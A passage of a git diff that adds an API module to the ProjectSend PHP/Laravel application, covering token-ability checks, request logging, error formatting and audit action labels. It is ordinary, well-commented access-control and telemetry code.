$stillGranted): array + { + $described = []; + + foreach ($keys as $key) { + $permission = Permission::tryFrom($key); + + $described[] = [ + 'key' => $key, + // An unrecognised key is still worth showing rather than + // hiding: it means the token carries something this + // vocabulary no longer has, which is exactly the sort of + // leftover an administrator is looking at this list for. + 'label' => $permission?->label() ?? $key, + 'category' => $permission?->category()->label() ?? '', + // Whether it does anything today. A token keeps the + // abilities it was issued with, but EnsureTokenCan + // re-checks the owner's live permissions on every + // request, so an ability the owner has since lost is + // carried and ignored. + 'effective' => in_array($key, $stillGranted, true), + ]; + } + + return $described; + } +} diff --git a/app/Modules/Api/Auth/TokenAbilities.php b/app/Modules/Api/Auth/TokenAbilities.php new file mode 100644 index 00000000..d357ec27 --- /dev/null +++ b/app/Modules/Api/Auth/TokenAbilities.php @@ -0,0 +1,154 @@ +|null */ + private ?array $inUse = null; + + public function __construct( + private readonly PermissionChecker $permissions, + private readonly CapabilityRegistry $capabilities, + ) {} + + /** + * Every ability key this user may be granted, as strings. + * + * @return list + */ + public function availableFor(User $user): array + { + $granted = $this->permissions->grantedKeys($user); + + return array_values(array_filter( + $granted, + fn (string $key): bool => $this->isAvailable($key) && $this->isImplemented($key), + )); + } + + /** + * The same list as Permission cases, for a UI that needs labels and + * categories rather than bare keys. + * + * @return list + */ + public function casesFor(User $user): array + { + $available = $this->availableFor($user); + + return array_values(array_filter( + Permission::cases(), + fn (Permission $permission): bool => in_array($permission->value, $available, true), + )); + } + + /** + * Whether the ability is usable in this edition at all, ignoring who is + * asking. An unknown key is not available — a token may only ever carry + * abilities drawn from the Permission vocabulary. + * + * Note this does NOT consider whether an endpoint exists: it is the + * check EnsureTokenCan makes, and there the question is already settled + * — a route asking for an ability is itself the endpoint. + */ + public function isAvailable(string $key): bool + { + $permission = Permission::tryFrom($key); + + if ($permission === null) { + return false; + } + + $capability = $permission->capability(); + + return $capability === null || $this->capabilities->has($capability); + } + + /** + * Whether any API endpoint consumes this ability today. + */ + public function isImplemented(string $key): bool + { + return in_array($key, $this->inUse(), true); + } + + /** + * Abilities named by a `token-can:` middleware on any registered + * /api/v1 route — core or module. + * + * Read off the route table rather than declared in a list, so this can + * never disagree with what the endpoints actually require. Route + * caching preserves middleware, so it is correct on a cached install + * too. + * + * @return list + */ + public function inUse(): array + { + if ($this->inUse !== null) { + return $this->inUse; + } + + $abilities = []; + + foreach (Router::getRoutes()->getRoutes() as $route) { + if (! str_starts_with($route->uri(), 'api/')) { + continue; + } + + foreach ($route->gatherMiddleware() as $middleware) { + if (! is_string($middleware) || ! str_starts_with($middleware, 'token-can:')) { + continue; + } + + foreach (explode(',', substr($middleware, strlen('token-can:'))) as $ability) { + $ability = trim($ability); + + if ($ability !== '') { + $abilities[$ability] = true; + } + } + } + } + + return $this->inUse = array_keys($abilities); + } +} diff --git a/app/Modules/Api/Console/PurgeApiRequestLogsCommand.php b/app/Modules/Api/Console/PurgeApiRequestLogsCommand.php new file mode 100644 index 00000000..964b4534 --- /dev/null +++ b/app/Modules/Api/Console/PurgeApiRequestLogsCommand.php @@ -0,0 +1,45 @@ +get(Setting::ApiRequestLogRetentionDays); + + // 0 means keep indefinitely — an explicit choice an operator can + // make, and the reason this reads the setting rather than assuming. + if ($days <= 0) { + $this->info('API request log retention is disabled; nothing pruned.'); + + return self::SUCCESS; + } + + // Deleted in chunks: this is the highest-volume table in the + // application, and a single unbounded DELETE on a busy install + // would hold locks for as long as it took. + $cutoff = now()->subDays($days); + $deleted = 0; + + do { + $batch = ApiRequestLog::query()->where('created_at', '<', $cutoff)->limit(5000)->delete(); + $deleted += $batch; + } while ($batch > 0); + + $this->info("Pruned {$deleted} API request log entries older than {$days} days."); + + return self::SUCCESS; + } +} diff --git a/app/Modules/Api/Events/ApiModule.php b/app/Modules/Api/Events/ApiModule.php new file mode 100644 index 00000000..89ac8490 --- /dev/null +++ b/app/Modules/Api/Events/ApiModule.php @@ -0,0 +1,26 @@ +register( + * slug: 'branding', + * routes: __DIR__.'/api-routes.php', + * capability: 'branding.customize', + * ); + * }); + * + * That indirection is what keeps the packages buildable and testable with + * no host application present — the same constraint that ruled out an + * interface or a shared base controller. See docs/extension-points-architecture.md. + * + * This is a guard against mistakes, not a sandbox. Nothing at runtime stops + * a package from calling Route::post('api/v1/files/...') directly; what + * stops it is ModuleRouteBoundaryTest, which is the same enforcement level + * the rest of the extension system runs on. + */ +final class RegisteringApiModules +{ + /** + * Keyed by slug so a collision is detectable rather than last-write-wins. + * + * @var array + */ + private array $modules = []; + + /** + * @param string $slug lowercase, hyphen-separated; becomes /api/v1/modules/{slug} + * @param string|Closure $routes path to a route file, or a closure declaring routes + * @param string|null $capability a Capability key, or null if the module is + * available in every edition. Required — not + * defaulted — so edition gating is a decision + * each module makes out loud rather than one it + * can forget. CustomAssets shipped routes that + * answered 200 in the wrong edition precisely + * because restating the gate was left to the + * package to remember. + * + * @throws InvalidArgumentException on a malformed slug, a duplicate slug, or an + * unknown capability key. Thrown at route-load + * time, so a misconfigured module fails loudly on + * the first request in development and in CI + * rather than silently not mounting. + */ + public function register(string $slug, string|Closure $routes, ?string $capability): void + { + if (preg_match('/^[a-z0-9]+(-[a-z0-9]+)*$/', $slug) !== 1 || strlen($slug) > 40) { + throw new InvalidArgumentException( + "Invalid API module slug [{$slug}]: expected lowercase letters, digits and single hyphens, at most 40 characters." + ); + } + + if (isset($this->modules[$slug])) { + throw new InvalidArgumentException( + "API module slug [{$slug}] is already registered. Two packages cannot share a slug — one of them must rename." + ); + } + + if (is_string($routes) && ! is_file($routes)) { + throw new InvalidArgumentException( + "API module [{$slug}] was registered with route file [{$routes}], which does not exist." + ); + } + + if ($capability !== null && Capability::tryFrom($capability) === null) { + throw new InvalidArgumentException( + "API module [{$slug}] declared unknown capability [{$capability}]. Add the case to Capability first." + ); + } + + $this->modules[$slug] = new ApiModule($slug, $routes, $capability); + } + + /** + * @return list + */ + public function modules(): array + { + return array_values($this->modules); + } + + /** + * The slugs an API client can expect to find under /api/v1/modules, + * surfaced by GET /api/v1/me so a caller can discover what this + * particular install offers before calling it. + * + * @return list + */ + public function slugs(): array + { + return array_keys($this->modules); + } +} diff --git a/app/Modules/Api/Http/Controllers/ApiDashboardController.php b/app/Modules/Api/Http/Controllers/ApiDashboardController.php new file mode 100644 index 00000000..146ee7f7 --- /dev/null +++ b/app/Modules/Api/Http/Controllers/ApiDashboardController.php @@ -0,0 +1,58 @@ +user(); + assert($viewer !== null); + + // The request may ask for the install-wide view; the scope decides + // whether it gets one. A viewer without the permission silently + // falls back to their own tokens rather than being refused — the + // page is theirs either way, only its reach differs. + $installWide = $this->scope->resolve($viewer, $request->boolean('all')); + + return Inertia::render('api/dashboard', [ + 'summary' => $this->usage->summary($viewer, $installWide), + 'daily' => $this->usage->daily($viewer, $installWide), + 'tokens' => $this->usage->tokenUsage($viewer, $installWide), + 'recent_actions' => $this->usage->recentActions($viewer, $installWide), + 'top_endpoints' => $this->usage->topEndpoints($viewer, $installWide), + 'scope' => [ + 'install_wide' => $installWide, + 'can_view_install_wide' => $this->scope->mayViewInstallWide($viewer), + ], + 'retention_days' => (int) $this->settings->get(Setting::ApiRequestLogRetentionDays), + ]); + } +} diff --git a/app/Modules/Api/Http/Controllers/ApiDocsController.php b/app/Modules/Api/Http/Controllers/ApiDocsController.php new file mode 100644 index 00000000..cf500e47 --- /dev/null +++ b/app/Modules/Api/Http/Controllers/ApiDocsController.php @@ -0,0 +1,120 @@ + $this->guideHtml(), + 'endpoints' => $this->endpoints(), + 'spec_url' => route('api.openapi'), + 'version' => $this->spec()['info']['version'] ?? null, + ]); + } + + /** + * @return array + */ + private function spec(): array + { + $path = base_path(OpenApiController::PATH); + + if (! is_file($path)) { + return []; + } + + return json_decode((string) file_get_contents($path), true) ?: []; + } + + /** + * Flattened operation list for the summary table: one row per method + * and path, with the abilities pulled back out of the description + * where describeOpenApi() put them. + * + * @return list> + */ + private function endpoints(): array + { + $rows = []; + + foreach ($this->spec()['paths'] ?? [] as $path => $operations) { + foreach ($operations as $method => $operation) { + if (! in_array($method, ['get', 'post', 'put', 'patch', 'delete'], true)) { + continue; + } + + preg_match_all('/`([a-z_]+)`/', $this->abilitySentence($operation), $matches); + + $rows[] = [ + 'method' => strtoupper($method), + 'path' => '/api/v1'.$path, + 'summary' => $operation['summary'] ?? '', + 'abilities' => $matches[1], + ]; + } + } + + usort($rows, fn (array $a, array $b): int => [$a['path'], $a['method']] <=> [$b['path'], $b['method']]); + + return $rows; + } + + /** + * @param array $operation + */ + private function abilitySentence(array $operation): string + { + $description = is_string($operation['description'] ?? null) ? $operation['description'] : ''; + $position = strpos($description, 'Requires a token with'); + + return $position === false ? '' : substr($description, $position); + } + + private function guideHtml(): string + { + $path = base_path('docs/api-guide.md'); + + if (! is_file($path)) { + return ''; + } + + // A deliberately small extension set. The guide is a file shipped + // with the application, not user input — but rendering it with the + // narrowest converter that does the job keeps it that way even if + // someone later points this at something less trustworthy. + $environment = new Environment([ + 'html_input' => 'escape', + 'allow_unsafe_links' => false, + ]); + $environment->addExtension(new CommonMarkCoreExtension); + $environment->addExtension(new TableExtension); + + return (string) (new MarkdownConverter($environment))->convert((string) file_get_contents($path)); + } +} diff --git a/app/Modules/Api/Http/Controllers/CurrentTokenController.php b/app/Modules/Api/Http/Controllers/CurrentTokenController.php new file mode 100644 index 00000000..180788d4 --- /dev/null +++ b/app/Modules/Api/Http/Controllers/CurrentTokenController.php @@ -0,0 +1,48 @@ +user(); + assert($user !== null); + + // Sanctum's own docblock types this as non-nullable, but the + // underlying property is simply unset when the request was not + // token-authenticated. Narrowing it here keeps the null branch + // honest instead of letting the analyser delete it. + /** @var PersonalAccessToken|null $token */ + $token = $user->currentAccessToken(); + + if ($token !== null) { + // `via` and `api_token` are stamped by ActivityLogger itself. + $this->activity->log(Action::ApiTokenRevoked, $user, context: ['token_name' => $token->name]); + + $token->delete(); + } + + return response()->json(status: 204); + } +} diff --git a/app/Modules/Api/Http/Controllers/MeController.php b/app/Modules/Api/Http/Controllers/MeController.php new file mode 100644 index 00000000..8e66b8cf --- /dev/null +++ b/app/Modules/Api/Http/Controllers/MeController.php @@ -0,0 +1,94 @@ +user(); + assert($user !== null); + + // See CurrentTokenController: Sanctum types this as non-nullable + // although the property is unset without token authentication. + /** @var PersonalAccessToken|null $token */ + $token = $user->currentAccessToken(); + + return response()->json([ + 'data' => [ + 'id' => $user->id, + 'name' => $user->name, + 'email' => $user->email, + 'type' => $user->type->value, + 'role' => $user->role?->name, + 'locale' => $user->locale, + + // The *effective* set, not the token's stored list: a token + // minted before a demotion still carries abilities its owner + // has since lost, and reporting those would tell an + // integration it can do things every request will refuse. + // EnsureTokenCan enforces exactly this intersection. + 'abilities' => $this->effectiveAbilities($user, $token), + + 'token' => [ + 'name' => $token?->name, + 'expires_at' => $token?->expires_at?->toIso8601String(), + ], + ], + 'meta' => [ + 'edition' => $this->capabilities->edition()->value, + 'capabilities' => $this->capabilities->enabledKeys(), + 'modules' => $this->modules->slugs(), + 'version' => config('projectsend.version'), + ], + ]); + } + + /** + * @return list + */ + private function effectiveAbilities(User $user, ?PersonalAccessToken $token): array + { + // Permission ∩ capability, so this never advertises an ability that + // the edition has no feature behind — see TokenAbilities. + $granted = $this->abilities->availableFor($user); + + if ($token === null) { + return []; + } + + // Sanctum's wildcard: a token created without an explicit list may + // do anything its owner may do. Tokens minted through the settings + // page always carry an explicit list, so this is only reachable for + // tokens created in code — tests, tinker, a future first-party flow. + if (in_array('*', $token->abilities ?? [], true)) { + return $granted; + } + + return array_values(array_intersect($granted, $token->abilities ?? [])); + } +} diff --git a/app/Modules/Api/Http/Controllers/OpenApiController.php b/app/Modules/Api/Http/Controllers/OpenApiController.php new file mode 100644 index 00000000..3948a994 --- /dev/null +++ b/app/Modules/Api/Http/Controllers/OpenApiController.php @@ -0,0 +1,49 @@ + 'not_found', + 'title' => 'The OpenAPI document has not been generated for this installation.', + 'status' => 404, + ], 404, ['Content-Type' => 'application/problem+json']); + } + + return new Response((string) file_get_contents($path), 200, [ + 'Content-Type' => 'application/json', + 'Cache-Control' => 'public, max-age=300', + ]); + } +} diff --git a/app/Modules/Api/Http/Middleware/EnsureApiAccountIsActive.php b/app/Modules/Api/Http/Middleware/EnsureApiAccountIsActive.php new file mode 100644 index 00000000..b4e2bf01 --- /dev/null +++ b/app/Modules/Api/Http/Middleware/EnsureApiAccountIsActive.php @@ -0,0 +1,35 @@ +user(); + + if ($user !== null && ! $user->active) { + abort(401); + } + + return $next($request); + } +} diff --git a/app/Modules/Api/Http/Middleware/EnsureStaffToken.php b/app/Modules/Api/Http/Middleware/EnsureStaffToken.php new file mode 100644 index 00000000..dfce6ab0 --- /dev/null +++ b/app/Modules/Api/Http/Middleware/EnsureStaffToken.php @@ -0,0 +1,41 @@ +user(); + + if ($user === null) { + abort(401); + } + + if (! $user->isStaff()) { + abort(403); + } + + return $next($request); + } +} diff --git a/app/Modules/Api/Http/Middleware/EnsureTokenCan.php b/app/Modules/Api/Http/Middleware/EnsureTokenCan.php new file mode 100644 index 00000000..beb4b0a9 --- /dev/null +++ b/app/Modules/Api/Http/Middleware/EnsureTokenCan.php @@ -0,0 +1,70 @@ +middleware('token-can:edit_files,edit_others_files')`. + * Any one of the listed abilities is enough, matching how the web routes + * treat own/others permission pairs. + * + * Why this exists instead of Sanctum's stock `ability` middleware: Sanctum + * only asks what was baked into the token when it was minted. Roles change. + * A staff member who held `delete_files` in March, minted a token, and was + * moved to a read-only role in April still carries a token that claims the + * ability — and stock Sanctum honours the claim. Every request here checks + * both halves: + * + * 1. the token was granted the ability, and + * 2. the user still holds the underlying permission right now. + * + * The Gate side is the live one, registered per Permission case in + * IdentityServiceProvider, so demotion takes effect on the next request + * rather than whenever someone remembers to revoke the token. + * + * This is an additional gate, never a substitute for the domain's own + * policy checks — controllers still call Gate::authorize() on the model. + */ +class EnsureTokenCan +{ + public function handle(Request $request, Closure $next, string ...$abilities): Response + { + $user = $request->user(); + + if ($user === null) { + abort(401); + } + + $available = app(TokenAbilities::class); + + foreach ($abilities as $ability) { + // Three checks, all of which must hold: + // + // - the edition has the feature at all (a token minted on a + // community install and carried to a cloud one must not keep + // working — route-level `capability:` middleware is the + // primary gate, this is the belt-and-braces half); + // - the token was granted the ability; + // - the owner still holds the permission today. + // + // tokenCan() is false when there is no access token — a + // first-party session, which config/sanctum.php makes + // unreachable here but which must fail closed if it ever + // becomes reachable: "proved no ability", not "may do anything". + if ($available->isAvailable($ability) + && $user->tokenCan($ability) + && Gate::forUser($user)->allows($ability)) { + return $next($request); + } + } + + abort(403); + } +} diff --git a/app/Modules/Api/Http/Middleware/RecordApiRequest.php b/app/Modules/Api/Http/Middleware/RecordApiRequest.php new file mode 100644 index 00000000..fad0b44e --- /dev/null +++ b/app/Modules/Api/Http/Middleware/RecordApiRequest.php @@ -0,0 +1,83 @@ +attributes->set(self::STARTED_AT, microtime(true)); + + return $next($request); + } + + public function terminate(Request $request, Response $response): void + { + try { + $startedAt = $request->attributes->get(self::STARTED_AT); + $token = $request->user()?->currentAccessToken(); + + ApiRequestLog::query()->create([ + 'api_token_id' => $token?->getKey(), + // Snapshotted so a revoked token's history is still readable + // — which is precisely when someone reviews it. + 'api_token_name' => $token?->getAttribute('name'), + 'user_id' => $request->user()?->getKey(), + 'method' => $request->getMethod(), + 'route' => $this->routePattern($request), + 'status' => $response->getStatusCode(), + 'duration_ms' => is_float($startedAt) ? (int) round((microtime(true) - $startedAt) * 1000) : 0, + 'created_at' => now(), + ]); + } catch (Throwable $e) { + // Telemetry must never turn a successful API call into a failed + // one. A full disk or a locked table is an operations problem, + // not the caller's — and by this point the response has already + // gone out regardless. + Log::warning('Failed to record an API request: '.$e->getMessage()); + } + } + + /** + * The matched route's *pattern*, never the resolved URI: a URI carries + * the ids of the clients and files a caller touched, and that belongs + * in the audit log rather than in volume telemetry. A request that + * matched nothing is recorded under a placeholder, so 404 noise stays + * countable without recording what was probed. + */ + private function routePattern(Request $request): string + { + $route = $request->route(); + + return $route === null ? '(unmatched)' : $route->uri(); + } +} diff --git a/app/Modules/Api/Http/Middleware/SetApiLocale.php b/app/Modules/Api/Http/Middleware/SetApiLocale.php new file mode 100644 index 00000000..7876781c --- /dev/null +++ b/app/Modules/Api/Http/Middleware/SetApiLocale.php @@ -0,0 +1,41 @@ +user()?->locale; + + if (! is_string($locale) || ! $this->locales->isEnabled($locale)) { + $locale = $request->getPreferredLanguage($this->locales->preferenceOrder()) + ?? $this->locales->defaultLocale(); + } + + app()->setLocale($locale); + + return $next($request); + } +} diff --git a/app/Modules/Api/Models/ApiRequestLog.php b/app/Modules/Api/Models/ApiRequestLog.php new file mode 100644 index 00000000..dbf08d41 --- /dev/null +++ b/app/Modules/Api/Models/ApiRequestLog.php @@ -0,0 +1,72 @@ + 'datetime']; + } + + /** + * @return BelongsTo + */ + public function user(): BelongsTo + { + return $this->belongsTo(User::class); + } + + /** + * @param Builder<$this> $query + * @return Builder<$this> + */ + public function scopeFailed(Builder $query): Builder + { + return $query->where('status', '>=', 400); + } + + /** + * Everything a given user's own tokens did. + * + * Matched on the token's owner rather than on `user_id` alone so a + * revoked token's history stays visible to the person who created it — + * which is exactly when someone goes looking. + * + * @param Builder<$this> $query + * @return Builder<$this> + */ + public function scopeOwnedBy(Builder $query, User $user): Builder + { + return $query->where('user_id', $user->id); + } +} diff --git a/app/Modules/Api/Support/PollingQuery.php b/app/Modules/Api/Support/PollingQuery.php new file mode 100644 index 00000000..db9f4e40 --- /dev/null +++ b/app/Modules/Api/Support/PollingQuery.php @@ -0,0 +1,95 @@ + $query + * @return CursorPaginator + */ + public function paginate(Request $request, Builder $query, string $table): CursorPaginator + { + $since = $request->query('updated_since'); + + if (is_string($since) && $since !== '') { + // Parsed, never passed through as a string. Callers send proper + // ISO 8601 ("2026-08-06T05:00:00+02:00"), and the database will + // not compare that against a datetime column — MySQL fails to + // cast the `T` and the offset and silently matches nothing, so + // a polling client would see an empty result forever instead of + // an error. Carbon also normalises the offset into the app's + // timezone, so a caller in any timezone gets the same rows. + $query->where("{$table}.updated_at", '>=', Carbon::parse($since)->timezone(config('app.timezone'))) + ->orderBy("{$table}.updated_at") + ->orderBy("{$table}.id"); + } else { + $query->orderByDesc("{$table}.updated_at") + ->orderByDesc("{$table}.id"); + } + + return $query->cursorPaginate($this->perPage($request))->withQueryString(); + } + + /** + * The cap exists so one caller cannot turn a list endpoint into a + * full-table export in a single request. + */ + public function perPage(Request $request): int + { + $requested = (int) $request->query('per_page', (string) config('api.pagination.per_page')); + $max = (int) config('api.pagination.max_per_page'); + + return max(1, min($requested, $max)); + } + + /** + * Validation rules a controller merges into its own, so `updated_since` + * is rejected consistently rather than silently ignored when malformed + * — a caller polling with a bad timestamp would otherwise re-read the + * whole table on every tick and never notice. + * + * @return array> + */ + public function rules(): array + { + return [ + 'updated_since' => ['nullable', 'date'], + 'per_page' => ['nullable', 'integer', 'min:1', 'max:'.(int) config('api.pagination.max_per_page')], + 'cursor' => ['nullable', 'string'], + ]; + } +} diff --git a/app/Modules/Api/Support/ProblemDetails.php b/app/Modules/Api/Support/ProblemDetails.php new file mode 100644 index 00000000..5f53fbde --- /dev/null +++ b/app/Modules/Api/Support/ProblemDetails.php @@ -0,0 +1,192 @@ + + */ + private const TYPES = [ + 400 => 'bad_request', + 401 => 'unauthenticated', + 403 => 'forbidden', + 404 => 'not_found', + 405 => 'method_not_allowed', + 409 => 'conflict', + 413 => 'payload_too_large', + 422 => 'validation_failed', + 429 => 'too_many_requests', + 500 => 'server_error', + 503 => 'service_unavailable', + ]; + + public function shouldHandle(Request $request): bool + { + return $request->is('api/*'); + } + + public function render(Request $request, Throwable $e): JsonResponse + { + [$status, $type, $title, $detail, $extra] = $this->describe($e); + + $body = array_filter([ + 'type' => $type, + 'title' => $title, + 'status' => $status, + 'detail' => $detail, + ], static fn (mixed $value): bool => $value !== null) + $extra; + + $response = new JsonResponse($body, $status); + $response->headers->set('Content-Type', 'application/problem+json'); + + // Throttling and 405s carry headers the caller genuinely needs + // (Retry-After, Allow); dropping them would make the error + // unactionable, so copy whatever the exception already decided. + if ($e instanceof HttpExceptionInterface) { + foreach ($e->getHeaders() as $name => $value) { + $response->headers->set($name, $value); + } + } + + return $response; + } + + /** + * @return array{int, string, string, string|null, array} + */ + private function describe(Throwable $e): array + { + if ($e instanceof ValidationException) { + return [ + 422, + 'validation_failed', + 'The given data was invalid.', + null, + ['errors' => $e->errors()], + ]; + } + + if ($e instanceof AuthenticationException) { + return [ + 401, + 'unauthenticated', + 'Authentication required.', + 'Send a valid API token in the Authorization header as "Bearer ".', + [], + ]; + } + + if ($e instanceof AuthorizationException) { + return [ + 403, + 'forbidden', + 'This action is unauthorized.', + // An authorization failure must not explain itself in + // detail: "you lack delete_others_files" and "that file + // belongs to someone else" are both facts about data the + // caller was just told it cannot see. + null, + [], + ]; + } + + // Before the generic HttpExceptionInterface branch, which would + // flatten this to a bare `forbidden` and drop the two fields that + // tell a caller *why* — an integration wants to distinguish "your + // token may not do that" from "this installation does not have + // that feature", and only the second is worth giving up on. + if ($e instanceof CapabilityUnavailable) { + return [ + 403, + 'capability_unavailable', + 'Not available in this edition.', + $e->getMessage(), + ['capability' => $e->capability->value, 'edition' => $e->edition->value], + ]; + } + + // Note what this does NOT do: a file that exists but is out of the + // caller's scope answers 403, while an unknown id answers 404, so + // the pair does reveal whether a given id exists. That is the same + // answer the web UI gives (routes/web.php binds the model, then the + // policy refuses), and mirroring it is deliberate — the API adds no + // exposure a staff member does not already have by visiting + // /files/{id}. Collapsing both to 404 would be a stricter boundary + // than the app applies anywhere else, and only in one surface. + if ($e instanceof ModelNotFoundException || $e instanceof NotFoundHttpException) { + return [404, 'not_found', 'Resource not found.', null, []]; + } + + if ($e instanceof HttpExceptionInterface) { + $status = $e->getStatusCode(); + $message = $e->getMessage(); + + return [ + $status, + self::TYPES[$status] ?? 'http_error', + $this->titleFor($status), + $message !== '' ? $message : null, + [], + ]; + } + + return [ + 500, + 'server_error', + 'Server error.', + // The only place a raw exception message may surface, and only + // when the operator has explicitly asked for it. + config('app.debug') === true ? $e->getMessage() : null, + [], + ]; + } + + private function titleFor(int $status): string + { + return match ($status) { + 400 => 'Bad request.', + 401 => 'Authentication required.', + 403 => 'This action is unauthorized.', + 404 => 'Resource not found.', + 405 => 'Method not allowed.', + 409 => 'Conflict.', + 413 => 'Payload too large.', + 429 => 'Too many requests.', + 503 => 'Service unavailable.', + default => 'Request failed.', + }; + } +} diff --git a/app/Modules/Audit/Action.php b/app/Modules/Audit/Action.php new file mode 100644 index 00000000..cc63abf4 --- /dev/null +++ b/app/Modules/Audit/Action.php @@ -0,0 +1,334 @@ + 'Installed ProjectSend', + self::SettingsUpdated => 'Updated the system settings (:section)', + self::Login => 'Logged in', + self::Logout => 'Logged out', + self::UserCreated => 'Created the account ":subject"', + self::UserUpdated => 'Updated the account ":subject"', + self::UserDeleted => 'Deleted the account ":name"', + self::AccountConvertedToClient => 'Converted the staff account ":subject" to a client', + self::AccountConvertedToStaff => 'Converted the client account ":subject" to staff (:role)', + self::LdapClientProvisioned => 'Created a client account from the directory on first sign-in', + self::SocialClientProvisioned => 'Created a client account from :provider on first sign-in', + self::SocialAccountLinked => 'Connected the :provider account of ":subject"', + self::SocialAccountUnlinked => 'Disconnected the :provider account of ":subject"', + self::UserActivated => 'Activated the account ":subject"', + self::UserDeactivated => 'Deactivated the account ":subject"', + self::AccountErased => 'Permanently erased a deleted account', + self::AccountContentCascadeDeleted => 'Deleted :files file(s) and :folders folder(s) belonging to the deleted account ":name"', + self::AccountContentReassigned => 'Reassigned :files file(s) and :folders folder(s) from the deleted account ":name" to :target', + self::ClientSelfRegistered => 'Registered a new client account', + self::ClientApproved => 'Approved the account request of ":subject"', + self::ClientDenied => 'Denied the account request of ":name"', + self::FileUploaded => 'Uploaded the file ":subject"', + self::FileUpdated => 'Updated the file ":subject"', + self::FileDeleted => 'Deleted the file ":name"', + self::FileDownloaded => 'Downloaded the file ":subject"', + self::FilePreviewed => 'Previewed the file ":subject"', + self::FileAssigned => 'Assigned the file ":subject" to :target', + self::FileUnassigned => 'Removed the file ":subject" from :target', + // :previous is a name snapshot in context, not a lookup — same + // reason FileDeleted carries :name: the entry has to still read + // correctly once the original is gone. + self::FileVersionLinked => 'Marked the file ":subject" as a revision of ":previous"', + self::FileVersionUnlinked => 'Removed the version link from the file ":subject"', + self::ShareLinkCreated => 'Created a public link for the file ":subject"', + self::ShareLinkRevoked => 'Revoked a public link for the file ":subject"', + self::ShareLinkDownloaded => 'Downloaded the file ":subject" via a public link', + self::PublicFileDownloaded => 'Downloaded the file ":subject" via the public group listing', + self::FolderCreated => 'Created the folder ":subject"', + self::FolderRenamed => 'Renamed the folder ":subject"', + self::FolderMoved => 'Moved the folder ":subject"', + self::FolderDeleted => 'Deleted the folder ":name" and its contents', + self::FolderShared => 'Shared the folder ":subject" with :target', + self::FolderUnshared => 'Stopped sharing the folder ":subject" with :target', + self::FileMadePublic => 'Made the file ":subject" public', + self::FileMadePrivate => 'Made the file ":subject" private', + self::FolderMadePublic => 'Made the folder ":subject" public', + self::FolderMadePrivate => 'Made the folder ":subject" private', + self::UploadAborted => 'Cancelled uploading the file ":name"', + self::CommentPosted => 'Commented on the file ":subject"', + self::CommentPostedByVisitor => ':guest commented on the file ":subject"', + self::CommentEdited => 'Edited a comment on the file ":subject"', + self::CommentDeleted => 'Deleted a comment on the file ":subject"', + self::CommentApproved => 'Approved a comment on the file ":subject"', + self::FileImported => 'Imported the orphan file ":subject"', + self::OrphanFileDeleted => 'Deleted the orphan file ":name"', + self::OrphanFileAutoDeleted => 'Deleted the orphan file ":name"', + self::ExpiredFileDeleted => 'Deleted the expired file ":name"', + self::GroupMembershipLeft => 'Left the group ":subject"', + self::GroupMembershipRequested => 'Requested membership to the group ":subject"', + self::GroupMembershipApproved => 'Approved the membership of ":member" to the group ":subject"', + self::GroupMembershipDenied => 'Denied the membership of ":member" to the group ":subject"', + self::GroupCreated => 'Created the group ":subject"', + self::GroupUpdated => 'Updated the group ":subject"', + self::GroupDeleted => 'Deleted the group ":name"', + self::GroupMadePublic => 'Made the group ":subject" public', + self::GroupMadePrivate => 'Made the group ":subject" private', + self::GroupMemberAdded => 'Added ":member" to the group ":subject"', + self::GroupMemberRemoved => 'Removed ":member" from the group ":subject"', + self::RoleCreated => 'Created the role ":subject"', + self::RoleUpdated => 'Updated the role ":subject"', + self::RoleDeleted => 'Deleted the role ":name"', + self::CategoryCreated => 'Created the category ":subject"', + self::CategoryRenamed => 'Renamed the category to ":subject"', + self::CategoryDeleted => 'Deleted the category ":name"', + self::ClientCustomFieldCreated => 'Created the custom field ":name"', + self::ClientCustomFieldUpdated => 'Updated the custom field ":name"', + self::ClientCustomFieldDeleted => 'Deleted the custom field ":name"', + self::ProfileUpdated => 'Updated their profile information', + self::PasswordUpdated => 'Changed their password', + self::TwoFactorEnabled => 'Enabled two-factor authentication', + self::TwoFactorDisabled => 'Disabled two-factor authentication', + self::TwoFactorRecoveryCodesRegenerated => 'Regenerated two-factor recovery codes', + self::TwoFactorReset => 'Removed two-factor authentication from ":subject"', + self::ApiTokenCreated => 'Created the API token ":token_name"', + self::ApiTokenUpdated => 'Updated the API token ":token_name"', + self::ApiTokenRevoked => 'Revoked the API token ":token_name"', + self::CustomAssetCreated => 'Created the custom asset ":subject"', + self::CustomAssetUpdated => 'Updated the custom asset ":subject"', + self::CustomAssetDeleted => 'Deleted the custom asset ":name"', + self::CustomAssetEnabled => 'Enabled the custom asset ":subject"', + self::CustomAssetDisabled => 'Disabled the custom asset ":subject"', + }; + } + + /** + * Generic description for filter dropdowns (also the translation key). + */ + public function description(): string + { + return match ($this) { + self::SetupCompleted => 'ProjectSend was installed', + self::SettingsUpdated => 'System settings were updated', + self::Login => 'Logged in', + self::Logout => 'Logged out', + self::UserCreated => 'An account was created', + self::UserUpdated => 'An account was updated', + self::UserDeleted => 'An account was deleted', + self::AccountConvertedToClient => 'A staff account was converted to a client', + self::AccountConvertedToStaff => 'A client account was converted to staff', + self::LdapClientProvisioned => 'A client account was created from the directory', + self::SocialClientProvisioned => 'A client account was created from :provider', + self::SocialAccountLinked => 'A :provider account was connected', + self::SocialAccountUnlinked => 'A :provider account was disconnected', + self::UserActivated => 'An account was activated', + self::UserDeactivated => 'An account was deactivated', + self::AccountErased => 'An account was permanently erased', + self::AccountContentCascadeDeleted => 'A deleted account\'s files and folders were deleted', + self::AccountContentReassigned => 'A deleted account\'s files and folders were reassigned', + self::ClientSelfRegistered => 'A client registered an account', + self::ClientApproved => 'A client account request was approved', + self::ClientDenied => 'A client account request was denied', + self::FileUploaded => 'A file was uploaded', + self::FileUpdated => 'A file was updated', + self::FileDeleted => 'A file was deleted', + self::FileDownloaded => 'A file was downloaded', + self::FilePreviewed => 'A file was previewed', + self::FileAssigned => 'A file was assigned', + self::FileUnassigned => 'A file assignment was removed', + self::FileVersionLinked => 'A file was marked as a revision of another', + self::FileVersionUnlinked => 'A file version link was removed', + self::ShareLinkCreated => 'A public link was created', + self::ShareLinkRevoked => 'A public link was revoked', + self::ShareLinkDownloaded => 'A file was downloaded via a public link', + self::PublicFileDownloaded => 'A file was downloaded via the public group listing', + self::FolderCreated => 'A folder was created', + self::FolderRenamed => 'A folder was renamed', + self::FolderMoved => 'A folder was moved', + self::FolderDeleted => 'A folder was deleted', + self::FolderShared => 'A folder was shared', + self::FolderUnshared => 'A folder was unshared', + self::FileMadePublic => 'A file was made public', + self::FileMadePrivate => 'A file was made private', + self::FolderMadePublic => 'A folder was made public', + self::FolderMadePrivate => 'A folder was made private', + 